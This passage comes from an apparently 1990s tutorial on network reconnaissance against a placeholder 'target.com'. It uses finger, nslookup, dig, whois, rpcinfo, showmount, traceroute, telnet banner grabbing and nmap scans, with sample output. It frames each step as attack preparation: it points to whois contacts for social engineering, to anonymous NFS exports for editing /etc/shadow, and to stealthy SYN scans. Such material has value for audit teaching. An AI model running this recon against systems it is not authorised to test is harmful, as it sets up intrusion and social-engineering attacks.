gathering.  Write down all of your notes on a piece of paper&lt;br /&gt;or print them from file but I encourage you to never save these files to disk.  If you do intend &lt;br /&gt;to save these files to disk please make sure that you use the proper means to keep this &lt;br /&gt;information secure (encryption).  Now, lets take a look at the finger command.  &lt;br /&gt;The finger displays information about the system users.  You can use this information for &lt;br /&gt;login names for the system which is of great value when gathering information.&lt;br /&gt;Here is an example of some output displayed when the finger command is envoked.&lt;br /&gt;&lt;br /&gt;$ finger root@target.com (Active Attack)&lt;br /&gt;&lt;br /&gt;[target.com]&lt;br /&gt;Login       Name               TTY         Idle    When    Where&lt;br /&gt;root     Super-User            pts/0        &lt;br /&gt;&lt;br /&gt;$ finger -l root@target.com&lt;br /&gt;&lt;br /&gt;[target.com]&lt;br /&gt;Login name: root                        In real life: Super-User&lt;br /&gt;Directory: /                            Shell: /bin/csh&lt;br /&gt;Last login Mon Jul 19 13:42 on pts/0&lt;br /&gt;No unread mail&lt;br /&gt;No Plan.&lt;br /&gt;&lt;br /&gt;-We see that including the '-l' flag will give us additional information about the users on&lt;br /&gt;the target host.&lt;br /&gt;&lt;br /&gt;-Now lets try placing a number before the '@' sign&lt;br /&gt;&lt;br /&gt;$ finger 4@target.com&lt;br /&gt;&lt;br /&gt;[target.com]&lt;br /&gt;Login       Name               TTY         Idle    When    Where&lt;br /&gt;daemon          ???                               04:51&lt;br /&gt;bin             ???                               05:45 &lt;br /&gt;sys             ???                               08:54&lt;br /&gt;RDoe            ???                               04:34&lt;br /&gt;&lt;br /&gt;$ finger -l 4@target.com&lt;br /&gt;&lt;br /&gt;[target.com]&lt;br /&gt;Login name: daemon    &lt;br /&gt;Directory: /                        &lt;br /&gt;Never logged in.&lt;br /&gt;No unread mail&lt;br /&gt;No Plan.&lt;br /&gt;&lt;br /&gt;Login name: bin       &lt;br /&gt;Directory: /usr/bin                 &lt;br /&gt;Never logged in.&lt;br /&gt;No unread mail&lt;br /&gt;No Plan.&lt;br /&gt;&lt;br /&gt;Login name: sys       &lt;br /&gt;Directory: /                        &lt;br /&gt;Never logged in.&lt;br /&gt;No unread mail&lt;br /&gt;No Plan.&lt;br /&gt;&lt;br /&gt;Login name: RDoe   &lt;br /&gt;Directory: /export/home/RDoe         Shell: /bin/csh&lt;br /&gt;Never logged in.&lt;br /&gt;No unread mail&lt;br /&gt;No Plan.&lt;br /&gt;&lt;br /&gt;-Again, we see that adding the '-l' flag returns more data about the particular users of &lt;br /&gt;the target host.  Note that finger attempts may be logged in /var/log/messages (in Linux) and especially&lt;br /&gt;if they have an IDS installed.  A sample log would look similiar to the following:  &lt;br /&gt;Aug  2 05:21:25 erudite tcplog: finger connection attempt from 127.0.0.1&lt;br /&gt;Also, finger runs on port 79/TCP and if the target host is not running the finger daemon then you will&lt;br /&gt;not be able to use the finger query remotely to gather the information discussed above.&lt;br /&gt;&lt;br /&gt;-We now have an easier account to compromise if we wish to do so.  A users password will usually&lt;br /&gt;be easier to compromise than a root password because many users do not know the importance of&lt;br /&gt;an obscure password.  The reason we obtain this information is because the finger command does&lt;br /&gt;a pattern match on the number '4' and by process of elimination I would tend to guess that the &lt;br /&gt;number '4' appears in the time field.  You could also do the same thing with characters such as&lt;br /&gt;the letter 'a' for example.  So now that we have built up even more information about our target&lt;br /&gt;host, lets dig deeper into the system and gather even more data.&lt;br /&gt;&lt;br /&gt;-Next, lets look at the nslookup command and see if we can dig up even further information&lt;br /&gt;on our target host.   Nslookup is a program to query Internet domain name servers.  Nslookup&lt;br /&gt;has two modes: interactive and non-interactive.  Interactive mode allows the user to query &lt;br /&gt;name servers for information about various hosts and domains or to print a list of hosts in a &lt;br /&gt;domain.  Non-interactive mode is used to print just the name and requested information for a &lt;br /&gt;host or domain.  Here we will show examples of interactive and non-interactive modes.&lt;br /&gt;&lt;br /&gt;$ nslookup target.com  (Passive Attack)  &lt;br /&gt;&lt;br /&gt;Server:  blah.yourhost.com&lt;br /&gt;Address:  127.0.0.1&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;Name:    target.com&lt;br /&gt;Address:  127.0.0.2&lt;br /&gt;&lt;br /&gt;-In Non-interactive mode we simply do [nslookup [target host]] and are returned with the name&lt;br /&gt;of the host and its designated IP address.  The following is a demonstration of Interactive&lt;br /&gt;mode and its associated flags.  &lt;br /&gt;&lt;br /&gt;                       A         the host's Internet address.&lt;br /&gt;          &lt;br /&gt;                       CNAME     the canonical name for an alias.&lt;br /&gt;&lt;br /&gt;                       HINFO     the host CPU and operating system type.&lt;br /&gt;&lt;br /&gt;                       MINFO     the mailbox or mail list information.&lt;br /&gt;&lt;br /&gt;                       MX        the mail exchanger.&lt;br /&gt;&lt;br /&gt;                       NS        the name server for the named zone.&lt;br /&gt;&lt;br /&gt;                       PTR       the host name if the query is an Internet ad-&lt;br /&gt;                                 dress; otherwise, the pointer to other infor-&lt;br /&gt;                                 mation.&lt;br /&gt;&lt;br /&gt;                       SOA       the domain's ``start-of-authority'' informa-&lt;br /&gt;                                 tion.&lt;br /&gt;&lt;br /&gt;                       TXT       the text information.&lt;br /&gt;&lt;br /&gt;                       UINFO     the user information.&lt;br /&gt;&lt;br /&gt;                       WKS       the supported well-known services.&lt;br /&gt;&lt;br /&gt;-To execute nslookup in Interactive mode using the above flags, do the following:&lt;br /&gt;&lt;br /&gt;1.  Type the command nslookup&lt;br /&gt;&lt;br /&gt;$ nslookup&lt;br /&gt;&lt;br /&gt;Default Server:  blah.yourhost.com&lt;br /&gt;Address:  127.0.0.1&lt;br /&gt;&lt;br /&gt;&gt;&lt;br /&gt;&lt;br /&gt;2.  Set your flags by using [set type=[flag]]&lt;br /&gt;&lt;br /&gt;&gt; set type=mx  [Here we are using the 'MX' flag or the 'Mail Exchanger' flag]&lt;br /&gt;&gt; &lt;br /&gt;&lt;br /&gt;3.  Type in the target hostname [i.e. target.com]&lt;br /&gt;&lt;br /&gt;&gt; target.com&lt;br /&gt;&lt;br /&gt;Server:  blah.yourhost.com&lt;br /&gt;Address:  127.0.0.1&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;target.com   preference = 10, mail exchanger = mail.target.com&lt;br /&gt;&lt;br /&gt;Authoritative answers can be found from:&lt;br /&gt;target.com   nameserver = ns1.upstream.com&lt;br /&gt;target.com   nameserver = ns2.upstream.com&lt;br /&gt;mail.target.com  internet address = 127.0.0.2&lt;br /&gt;ns1.upstream.com internet address = 127.0.0.3&lt;br /&gt;ns2.upstream.com internet address = 127.0.0.4&lt;br /&gt;&lt;br /&gt;-Look at all this information we receive!  We now know the nameserver this target uses, their &lt;br /&gt;upstream provider, and the name of their mail server.  As an exercise, try setting the type to &lt;br /&gt;'any' by using the following syntax [set type=any].  See how much 'more' information you can &lt;br /&gt;extract from each and every flag.&lt;br /&gt;&lt;br /&gt;-We can now move on to the DiG command or Domain Information Groper.  The DiG command is used similarly &lt;br /&gt;to the nslookup command as both send domain name query packets to nameservers.  Here we will show you an &lt;br /&gt;example of simple interactive mode which may give you similar data that you had obtained using the nslookup &lt;br /&gt;command, but DiG may return the slightly different data in a slightly different format.  To use DiG, issue the &lt;br /&gt;command as follows [dig [target.com]]:&lt;br /&gt;&lt;br /&gt;$ dig target.com (Passive Attack)&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 8.1 &lt;&lt;&gt;&gt; target.com&lt;br /&gt;;; res options: init recurs defnam dnsrch&lt;br /&gt;;; got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 6&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2&lt;br /&gt;;; QUERY SECTION:&lt;br /&gt;;;      target.com, type = A, class = IN&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;target.com.             9h51m25s IN A   127.0.0.2&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;target.com.             8h53m50s IN NS  dns.upstream.com.&lt;br /&gt;target.com.             8h53m50s IN NS  www.upstream.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;dns.upstream.com.            9h51m25s IN A   127.0.0.3&lt;br /&gt;www.upstream.com.            9h51m25s IN A   127.0.0.60&lt;br /&gt;&lt;br /&gt;;; Total query time: 37 msec&lt;br /&gt;;; FROM: yourmachinename to SERVER: default -- 127.0.0.3&lt;br /&gt;;; WHEN: Mon Aug  2 05:25:16 1999&lt;br /&gt;;; MSG SIZE  sent: 28  rcvd: 119                           &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-The only new information we get is the web URL for the upstream provider of this particular target machine.  &lt;br /&gt;Also, if you look closer you will see that various times are reported also as is the indication that the target &lt;br /&gt;is an internet domain class.  I am partial to nslookup due to the functionality and ease of use.&lt;br /&gt;[man dig for more options regarding the DiG command]&lt;br /&gt;&lt;br /&gt;-We will now move on to the whois command which is the TCP/IP Internet user name directory service.  &lt;br /&gt;whois searches for an TCP/IP directory entry for an identifier.  You can obtain a considerable amount of&lt;br /&gt;information using this simple command.  For this command, use the following syntax [whois [target host]]:&lt;br /&gt;&lt;br /&gt;$ whois target.com (Passive Attack)&lt;br /&gt;&lt;br /&gt;TARGET.COM (TARGET5-DOM)&lt;br /&gt;   0000 Junk Street&lt;br /&gt;   Lost Wages, WA 00000&lt;br /&gt;   US&lt;br /&gt;&lt;br /&gt;   Domain Name: TARGET.COM&lt;br /&gt;&lt;br /&gt;   Administrative Contact, Technical Contact, Zone Contact:&lt;br /&gt;      wah, chung  (LC0000)  somepoorsoul@TARGET.COM&lt;br /&gt;      000-000-0000 (FAX) private&lt;br /&gt;   Billing Contact:&lt;br /&gt;      wah, chung  (LC0000)  somepoorsoul@TARGET.COM&lt;br /&gt;      000-000-0000 (FAX) private&lt;br /&gt;&lt;br /&gt;   Record last updated on 12-Apr-99.&lt;br /&gt;   Record created on 12-Feb-99.&lt;br /&gt;   Database last updated on 2-Aug-99 04:09:46 EDT.&lt;br /&gt;&lt;br /&gt;   Domain servers in listed order:&lt;br /&gt;&lt;br /&gt;   DNS.UPSTREAM.COM                  127.0.0.3&lt;br /&gt;   DNS2.UPSTREAM.COM                 127.0.0.4     &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;-We now have a technical contact with name, email address, phone number, and sometimes fax number when it is not&lt;br /&gt;marked 'private'.  The technical contact and number can be of great use when social engineering.  Take this time&lt;br /&gt;to put all of the information we have thus far on a sheet of paper and you will see that we know a lot about this &lt;br /&gt;target host now, but in a few moments we will learn a great deal more as we now lead you into the rpcinfo command.&lt;br /&gt;&lt;br /&gt;-The rpcinfo command reports RPC information on a particular host.  rpcinfo makes an RPC call to an RPC server and &lt;br /&gt;reports what it finds.  Many RPC services are vulnerable to a number of different attacks.  Take the ttdbserver exploit&lt;br /&gt;for instance, due to a bug in the source we could write and manipulate any file on the server it is running on remotely&lt;br /&gt;because this particular program is run as 'root'.  If the portmapper is not running on the remote target host then we &lt;br /&gt;should receive something along the lines of 'rpcinfo: can't contact portmapper: RPC: Remote system error - Connection refused'.  The&lt;br /&gt;reason we receive this error is because we are trying to get a listing of RPC services via the portmapper which isn't running&lt;br /&gt;on this particular host.  If we do successfully contact the portmapper we should get an output as follows.  To use the &lt;br /&gt;rpcinfo command we would use the following syntax [rpcinfo -p [target host]]:&lt;br /&gt;&lt;br /&gt;$ rpcinfo -p www.target.com (Active Attack)&lt;br /&gt;  &lt;br /&gt;    program vers proto   port&lt;br /&gt;    100000    3   udp    111  portmapper&lt;br /&gt;    100000    2   udp    111  portmapper&lt;br /&gt;    100000    3   tcp    111  portmapper&lt;br /&gt;    100000    2   tcp    111  portmapper&lt;br /&gt;    100003    2   udp   2049  nfs&lt;br /&gt;    100003    3   udp   2049  nfs&lt;br /&gt;    100024    1   udp    808  status&lt;br /&gt;    100024    1   tcp    810  status&lt;br /&gt;    100021    1   udp   2049  nlockmgr&lt;br /&gt;    100021    3   udp   2049  nlockmgr&lt;br /&gt;    100021    4   udp   2049  nlockmgr&lt;br /&gt;    100021    1   tcp   2049  nlockmgr&lt;br /&gt;    100021    3   tcp   2049  nlockmgr&lt;br /&gt;    100021    4   tcp   2049  nlockmgr&lt;br /&gt;    100005    1   tcp   1058  mountd&lt;br /&gt;    100005    1   udp   1036  mountd&lt;br /&gt;    391004    1   tcp   1063&lt;br /&gt;    391004    1   udp   1037&lt;br /&gt;    100001    1   udp   1038  rstatd&lt;br /&gt;    100001    2   udp   1038  rstatd&lt;br /&gt;    100001    3   udp   1038  rstatd        &lt;br /&gt;    100000    3   udp    111  portmapper&lt;br /&gt;    100000    2   udp    111  portmapper&lt;br /&gt;    100000    3   tcp    111  portmapper&lt;br /&gt;    100000    2   tcp    111  portmapper&lt;br /&gt;    100003    2   udp   2049  nfs&lt;br /&gt;    100003    3   udp   2049  nfs&lt;br /&gt;    100024    1   udp    808  status&lt;br /&gt;    100024    1   tcp    810  status&lt;br /&gt;    100021    1   udp   2049  nlockmgr&lt;br /&gt;    100021    3   udp   2049  nlockmgr&lt;br /&gt;    100021    4   udp   2049  nlockmgr&lt;br /&gt;    100021    1   tcp   2049  nlockmgr&lt;br /&gt;    100021    3   tcp   2049  nlockmgr&lt;br /&gt;    100021    4   tcp   2049  nlockmgr&lt;br /&gt;    100005    1   tcp   1058  mountd&lt;br /&gt;    100005    1   udp   1036  mountd&lt;br /&gt;    391004    1   tcp   1063&lt;br /&gt;    391004    1   udp   1037&lt;br /&gt;    100001    1   udp   1038  rstatd&lt;br /&gt;    100001    2   udp   1038  rstatd&lt;br /&gt;    100001    3   udp   1038  rstatd&lt;br /&gt;    391002    1   tcp   1070&lt;br /&gt;    100083    1   tcp   1073                    &lt;br /&gt;&lt;br /&gt;-I won't go into all the technical details here, but the listing shown here would be a goldmine for any hacker.&lt;br /&gt;We see above that program '100083' is running, but the service isn't listed.  The ttdbserver runs as program&lt;br /&gt;'100083' so we could have a vulnerable system on our hands.  There are several other things to check here such as&lt;br /&gt;nfs, nlock, mountd, and rstatd.  We will not go into how to exploit these services, but we want to teach you how to&lt;br /&gt;compile information on a remote target for a well-thought-out, calculated, time-sensitive audit.&lt;br /&gt;&lt;br /&gt;-We will now move on to open mount points or better known as an exported list. Showmount shows mount information for&lt;br /&gt;an NFS server.  showmount queries the mount daemon on a  remote  host  for information  about  the  state  of  &lt;br /&gt;the NFS server on that machine.  If you do not include an option with the showmount command you will receive a list&lt;br /&gt;of clients who are mounting from that host.  We usually use the '-e' option which is the 'export option' and is a great&lt;br /&gt;way to find 'anonymous' mounting permissions on remote hosts.  To use the showmount command with the 'export option' use the&lt;br /&gt;following syntax [showmount -e [target host]]. Note that if the mountd daemon is not listed in the RPC services we will not&lt;br /&gt;be able to use showmount on that particular target host:&lt;br /&gt;&lt;br /&gt;$ showmount -e www.target.com (Active Attack)&lt;br /&gt;&lt;br /&gt;Export list for www.target.com:&lt;br /&gt;/ (anonymous)&lt;br /&gt;&lt;br /&gt;-As you can see that the root directory or '/' is allowed to be mounted by anybody with a connection to the internet and &lt;br /&gt;a *NIX box.  This is probably due to a misconfigured NFS server.  All we would need to do is mount this system and we would&lt;br /&gt;have full control to edit the /etc/passwd and /etc/shadow files not to mention any other file on this particular target&lt;br /&gt;host.  As an exercise, on your own system, try mounting an anonymous exported listing by using the following command:&lt;br /&gt;&lt;br /&gt;$ mount -t nfs www.yourhost.com:/ /mnt&lt;br /&gt;&lt;br /&gt;-This will give you full control over your own box anonymously.  Now perform the command [cd /mnt] and you should be in &lt;br /&gt;your boxs' root directory.  Now perform the following command [ls -al].  If all went according to plan you should see a&lt;br /&gt;listing of the files and directories in the root directory.  There are several other tasks we could accomplish once inside&lt;br /&gt;but, we will leave that up to the imagination of the reader.  &lt;br /&gt;&lt;br /&gt;-Now lets take a look at a traceroute to the target host.  Traceroute prints the route packets take to a network host.&lt;br /&gt;This will also alert us to any firewalls that stand in our way to the target host (usually indicated with a '*').&lt;br /&gt;Note that the only mandatory parameter is the destination host name or IP number.  The default probe datagram length&lt;br /&gt;is 38 bytes, but this may be increased by specifying a packet size (in bytes) after the destination host name.  &lt;br /&gt;To initialize a traceroute use the following syntax as well as the man pages [traceroute [target host]]   &lt;br /&gt;&lt;br /&gt;$ traceroute www.target.com (Active Attack)&lt;br /&gt;&lt;br /&gt;traceroute to www.target.com (127.0.0.2), 30 hops max, 40 byte packets&lt;br /&gt; 1  rsm1.yourhost.com (127.0.0.8)  0.791 ms  0.703 ms  0.704 ms&lt;br /&gt; 2  bigdog-gw.yourhost.com (127.0.0.9)  0.592 ms  0.551 ms  0.405 ms&lt;br /&gt; 3  1.atm8-0-0.umab-gw.net.ums.edu (131.118.255.129)  1.422 ms  1.020 ms  1.349&lt;br /&gt;ms&lt;br /&gt; 4  206.181.226.97 (206.181.226.97)  51.923 ms  52.127 ms  69.832 ms&lt;br /&gt; 5  dca1-core3-h4-0.atlas.digex.net (165.117.51.70)  75.446 ms  66.744 ms  71.79&lt;br /&gt;1 ms&lt;br /&gt; 6  dca1-core7-fa6-0-0.atlas.digex.net (165.117.16.7)  79.978 ms  79.756 ms  77.&lt;br /&gt;974 ms&lt;br /&gt; 7  dca1-core9-pos1-1.atlas.digex.net (165.117.59.89)  69.804 ms  82.369 ms  81.&lt;br /&gt;144 ms&lt;br /&gt; 8  atl1-core5-pos1-3.atlas.digex.net (165.117.51.145)  86.819 ms  78.657 ms  52&lt;br /&gt;.745 ms&lt;br /&gt; 9  atl1-core3-pos4-0-0.atlas.digex.net (165.117.59.74)  40.033 ms  63.228 ms  6&lt;br /&gt;8.938 ms&lt;br /&gt;10  atl1-core1-fa3-0-0.atlas.digex.net (165.117.61.21)  78.620 ms  86.860 ms  98&lt;br /&gt;.448 ms&lt;br /&gt;11  500.Hssi11-1-0.GW1.ATL1.ALTER.NET (137.39.140.21)  105.357 ms  89.566 ms  11&lt;br /&gt;6.460 ms&lt;br /&gt;12  104.ATM3-0.XR2.ATL1.ALTER.NET (146.188.232.54)  121.399 ms  106.549 ms  139.&lt;br /&gt;801 ms&lt;br /&gt;13  294.ATM3-0.TR2.ATL1.ALTER.NET (146.188.232.110)  124.997 ms  129.528 ms  110&lt;br /&gt;.989 ms&lt;br /&gt;14  109.ATM6-0.TR2.LAX2.ALTER.NET (146.188.136.54)  201.188 ms  159.915 ms  215.&lt;br /&gt;266 ms&lt;br /&gt;15  198.ATM7-0.XR2.LAX2.ALTER.NET (146.188.248.133)  185.642 ms  142.192 ms  140&lt;br /&gt;.496 ms&lt;br /&gt;16  194.ATM9-0-0.GW1.PHX1.ALTER.NET (146.188.249.125)  158.889 ms  148.169 ms  1&lt;br /&gt;37.867 ms&lt;br /&gt;17  yourtargetsupstream-gw.customer.ALTER.NET (157.130.224.94)  153.436 ms  94.951 ms  140.0 &lt;br /&gt;85 ms&lt;br /&gt;18  * * * &lt;br /&gt;19  * * *     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-As you can see from this traceroute data that we are looking at a box that resides somewhere in the Phoenix&lt;br /&gt;Arizona area and most likely has some sort of packet filtering device before we reach our remote target indicated&lt;br /&gt;by the '* * *'(hops 18 &amp; 19).  We also get information of what 'path' we take to get to our desired target host along with &lt;br /&gt;the hop number for each path taken.  Sometimes it may be easier to compromise an upstream and sniff the traffic to compromise &lt;br /&gt;the target host.  We can get away with a 'full' traceroute by using a technique known as 'Firewalking' (http://www.packetfactory.net/firewalk).  &lt;br /&gt;Firewalking is a technique developed by MDS and DHG that employs traceroute-like techniques to analyze IP packet responses to &lt;br /&gt;determine gateway ACL filters and map networks. Firewalk the tool employs the technique to determine the filter rules &lt;br /&gt;in place on a packet forwarding device.  Also, we will be discussing spoofed packets to 'pierce' firewalls as a means to&lt;br /&gt;portscan a machine on an internal network.&lt;br /&gt;&lt;br /&gt;-For the remainder of this file we will be discussing portscanning.  Portscanning has become one of the key auditing and&lt;br /&gt;recon techniques amongst hackers today.  There are a variety of portscanning utilities on the internet ranging from your&lt;br /&gt;basic sequential portscanner to scanners that will bounce scans off of other hosts as an attempt to hide the origination of the scan.&lt;br /&gt;The scanner that will be used in this file is a very versitile scanner called Nmap (http://www.insecure.org/nmap).  Nmap is a utility     &lt;br /&gt;for network exploration or security auditing. It supports ping scanning (determine which hosts are up), many port scanning &lt;br /&gt;techniques (determine what services the hosts are offering), and TCP/IP fingerprinting (remote host operating system &lt;br /&gt;identification). Nmap also offers flexible target and port specification, decoy scanning, determination of TCP sequence &lt;br /&gt;predictability characteristics, reverse-identd scanning, and more (try [man nmap] for more details).  Lets take a look&lt;br /&gt;at some of the flags we can use with Nmap along with the data that we obtain with each flag.  First try just typing in the&lt;br /&gt;command 'nmap' so you can see how to use the application.&lt;br /&gt;&lt;br /&gt;nmap V. 2.12 usage: nmap [Scan Type(s)] [Options] [host or net #1 ... [#N]]&lt;br /&gt;&lt;br /&gt;-Here we have version number of the program and its usage.&lt;br /&gt;&lt;br /&gt;-sT    TCP connect() scan:  This is the most basic form of&lt;br /&gt;       TCP scanning.  Establishes a full TCP connection with each port.&lt;br /&gt;       Considered to be a "noisy" scan because it leaves a lot of evidence&lt;br /&gt;       in the logs.   &lt;br /&gt;&lt;br /&gt;$ nmap -sT target.com (Active Attack)&lt;br /&gt;&lt;br /&gt;Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)&lt;br /&gt;Interesting ports on target.com (127.0.0.2):&lt;br /&gt;Port    State       Protocol  Service&lt;br /&gt;1       open        tcp        tcpmux&lt;br /&gt;11      open        tcp        systat&lt;br /&gt;15      open        tcp        netstat&lt;br /&gt;22      open        tcp        ssh&lt;br /&gt;25      open        tcp        smtp&lt;br /&gt;79      open        tcp        finger&lt;br /&gt;80      open        tcp        http&lt;br /&gt;110     open        tcp        pop-3&lt;br /&gt;113     open        tcp        auth&lt;br /&gt;119     open        tcp        nntp&lt;br /&gt;143     open        tcp        imap2&lt;br /&gt;443     open        tcp        https&lt;br /&gt;515     open        tcp        printer&lt;br /&gt;540     open        tcp        uucp&lt;br /&gt;2000    open        tcp        callbook&lt;br /&gt;6667    open        tcp        irc&lt;br /&gt;12345   open        tcp        NetBus&lt;br /&gt;&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 15 seconds&lt;br /&gt; &lt;br /&gt;-The output that we receive from the TCP scan is very interesting yet, will be very noisey in the logs.  Any clued admin&lt;br /&gt;will see this as an attempt to gather information for a future attempt at compromise.  Seeing that we are doing an assessment,&lt;br /&gt;this method will suffice and does a wonderful job at identifying open ports.  We also receive a confirmation that Nmap has &lt;br /&gt;completed its run along with how many IP address's it scanned and how fast it scanned them.  Before we continue on to the other&lt;br /&gt;features of Nmap lets assess this situation and make some sense of what we have here as far as data is concerned.  There are&lt;br /&gt;several services that could be vulnerable to outside attack but, it is up to you to determine which services are vulnerable&lt;br /&gt;and how to compromise each particular service.  Lets take smtp (port 25) for instance, we need to determine what mail service&lt;br /&gt;this target host is running and which version of that particular package they are running.  To do this, simply telnet to that&lt;br /&gt;port and read its header using the following command [telnet [target host] [port]]:&lt;br /&gt;&lt;br /&gt;$ telnet www.target.com 25 (Active Attack)&lt;br /&gt;&lt;br /&gt;220 target.com ESMTP Sendmail 9.1.12a/9.1.12a/punk-beta; Tue, 10 Aug 1999 08:44:03 -0700&lt;br /&gt;&lt;br /&gt;-As you can see here this admin was clever enough to 'spoof' the version of Sendmail he is running.  He did this by editing&lt;br /&gt;the config file for Sendmail which (when done properly) can hide the version number which is a key element for attacking this&lt;br /&gt;particular service for many versions of Sendmail are exploitable remotely to gain root access.  Again, remember to make note&lt;br /&gt;of each header and its respected data for they are valuble parts that make up this entire 'puzzle'.  While we are on the &lt;br /&gt;smtp service try out the help command by simply typing 'help'.&lt;br /&gt;&lt;br /&gt;help&lt;br /&gt;&lt;br /&gt;214-This is Sendmail version 9.1.12a&lt;br /&gt;214-Topics:&lt;br /&gt;214-    HELO    EHLO    MAIL    RCPT    DATA&lt;br /&gt;214-    RSET    NOOP    QUIT    HELP    VRFY&lt;br /&gt;214-    EXPN    VERB    ETRN    DSN&lt;br /&gt;214-For more info use "HELP ".&lt;br /&gt;214-To report bugs in the implementation send email to&lt;br /&gt;214-    sendmail-bugs@sendmail.org.&lt;br /&gt;214-For local information send email to Postmaster at your site.&lt;br /&gt;214 End of HELP info&lt;br /&gt;       &lt;br /&gt;-You can now try different commands listed in the topics area.  Try [HELP [topic]] to see further help on a particular topic.&lt;br /&gt;For an exercise, try doing a 'verify' (VRFY) on one of the users on the system, try root.  We will let you figure the command out&lt;br /&gt;on your own so that you get into the 'learn it on your own' frame of mind.  Remember, when you are trying these exercises out&lt;br /&gt;please do them on your own system or have the permission of the owner before you try any of these commands out.  &lt;br /&gt;&lt;br /&gt;-Now that we have gone over a brief description of the TCP scan lets move on to a more 'stealthy' way of scanning a remote&lt;br /&gt;host.  &lt;br /&gt;&lt;br /&gt;-sS    TCP  SYN  scan: This technique is often referred to&lt;br /&gt;       as "half-open" scanning, because you don't open a&lt;br /&gt;       full TCP connection.&lt;br /&gt;       &lt;br /&gt;       1. Sends SYN packet as if establishing a 3-way handshake&lt;br /&gt;       2. Waits for SYN/ACK from destination&lt;br /&gt;          If SYN/ACK is received then the port is open&lt;br /&gt;          If RST (reset) is received then the port is closed&lt;br /&gt;       3. Rather than send ACK to establish connection, immediatley RST (reset) to&lt;br /&gt;          close connection.&lt;br /&gt;&lt;br /&gt;$ nmap -sS www.target.com &lt;br /&gt;&lt;br /&gt;Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)&lt;br /&gt;Interesting ports on target.com (127.0.0.2):&lt;br /&gt;Port    State       Protocol  Service&lt;br /&gt;1       open        tcp        tcpmux&lt;br /&gt;11      open        tcp        systat&lt;br /&gt;15      open        tcp        netstat&lt;br /&gt;22      open        tcp        ssh&lt;br /&gt;25      open        tcp        smtp&lt;br /&gt;79      open        tcp        finger&lt;br /&gt;80      open        tcp        http&lt;br /&gt;110     open        tcp        pop-3&lt;br /&gt;113     open        tcp        auth&lt;br /&gt;119     open        tcp        nntp&lt;br /&gt;143     open        tcp        imap2&lt;br /&gt;443     open        tcp        https&lt;br /&gt;515     open        tcp        printer&lt;br /&gt;540     open        tcp        uucp&lt;br /&gt;2000    open        tcp        callbook&lt;br /&gt;6667    open        tcp        irc&lt;br /&gt;12345   open        tcp        NetBus&lt;br /&gt;&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds&lt;br /&gt;&lt;br /&gt;-Here we have the same ports open as before but, this time the identity of the account scanning this host is not given away.&lt;br /&gt;The reason this happens is because we never establish a full connection or 'Three-way handshake'.  As soon as the SYN/ACK&lt;br /&gt;is received from the destination, rather than send an ACK to establish a connection we immediatley send a RST or 'reset' to&lt;br /&gt;close the connection therefore, the identity is never known (this is assuming that the target host is not running any &lt;br /&gt;extended logging features).&lt;br /&gt;&lt;br /&gt;-Now we have a pretty good understanding of what services are running on this particular target host.  Now, lets take a look&lt;br /&gt;at OS detection and the concepts of OS Fingerprinting.  There is a great paper on OS Fingerprinting by Fyodor at &lt;br /&gt;http://www.insecure.org/nmap/nmap-fingerprinting-article.html.  In this example we will show you how to use Nmap &lt;br /&gt;to detect the OS of our remote target.&lt;br /&gt;&lt;br /&gt;-O     This option activates  remote  host  identification&lt;br /&gt;       via TCP/IP fingerprinting.&lt;br /&gt;       1) Takes advantage of nuances found in each OS's TCP/IP stack to determine what OS&lt;br /&gt;          that remote host is running.&lt;br /&gt;       2) Sends specifically crafted packets to a host.&lt;br /&gt;       3) This information is used to generate a "fingerprint" which is then used to match&lt;br /&gt;          from a database of known OS fingerprints.&lt;br /&gt;&lt;br /&gt;$ nmap -O www.target.com&lt;br /&gt;&lt;br /&gt;Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)&lt;br /&gt;Interesting ports on localhost (127.0.0.1):&lt;br /&gt;Port    State       Protocol  Service&lt;br /&gt;1       open        tcp        tcpmux&lt;br /&gt;11      open        tcp        systat&lt;br /&gt;15      open        tcp        netstat&lt;br /&gt;21      open        tcp        ftp&lt;br /&gt;22      open        tcp        ssh&lt;br /&gt;25      open        tcp        smtp&lt;br /&gt;79      open        tcp        finger&lt;br /&gt;80      open        tcp        http&lt;br /&gt;110     open        tcp        pop-3&lt;br /&gt;113     open        tcp        auth&lt;br /&gt;119     open        tcp        nntp&lt;br /&gt;143     open        tcp        imap2&lt;br /&gt;443     open        tcp        https&lt;br /&gt;515     open        tcp        printer&lt;br /&gt;540     open        tcp        uucp&lt;br /&gt;2000    open        tcp        callbook&lt;br /&gt;6667    open        tcp        irc&lt;br /&gt;12345   open        tcp        NetBus               &lt;br /&gt;&lt;br /&gt;TCP Sequence Prediction: Class=truly random&lt;br /&gt;                         Difficulty=9999999 (Good luck!)&lt;br /&gt;Remote operating system guess: Linux 2.0.32-34&lt;br /&gt;&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 15 seconds&lt;br /&gt;&lt;br /&gt;-The output of data that we see here are the same services as the previous examples except that we now know the OS of &lt;br /&gt;the remote target.  This target is running Linux 2.0.32-34 and the TCP Sequence Prediction for Trusted Relationship &lt;br /&gt;Exploitation or any other HiJacking method is truly random and would be VERY difficult to predict the sequence.  Now if &lt;br /&gt;we must use a script to compromise we now know what operating system we are looking at.  &lt;br /&gt;&lt;br /&gt;-The final two scans we will discuss briefly are Ping Scanning and UDP Scanning.  TCP Ping Scanning is used to determine &lt;br /&gt;which hosts are up on a network. UDP scanning is a method used to determine which UDP (User  Datagram  Protocol,  RFC 768) ports &lt;br /&gt;are open on a host.  